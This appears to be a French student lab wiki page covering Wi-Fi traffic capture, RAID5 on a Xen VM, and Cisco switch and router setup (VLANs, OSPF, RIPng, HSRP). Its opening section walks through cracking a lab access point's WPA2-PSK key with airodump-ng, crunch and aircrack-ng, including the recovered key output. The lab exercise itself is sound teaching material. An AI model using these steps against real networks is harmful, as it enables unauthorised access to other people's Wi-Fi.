'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
 airodump-ng -c 2 wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
 airodump-ng&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
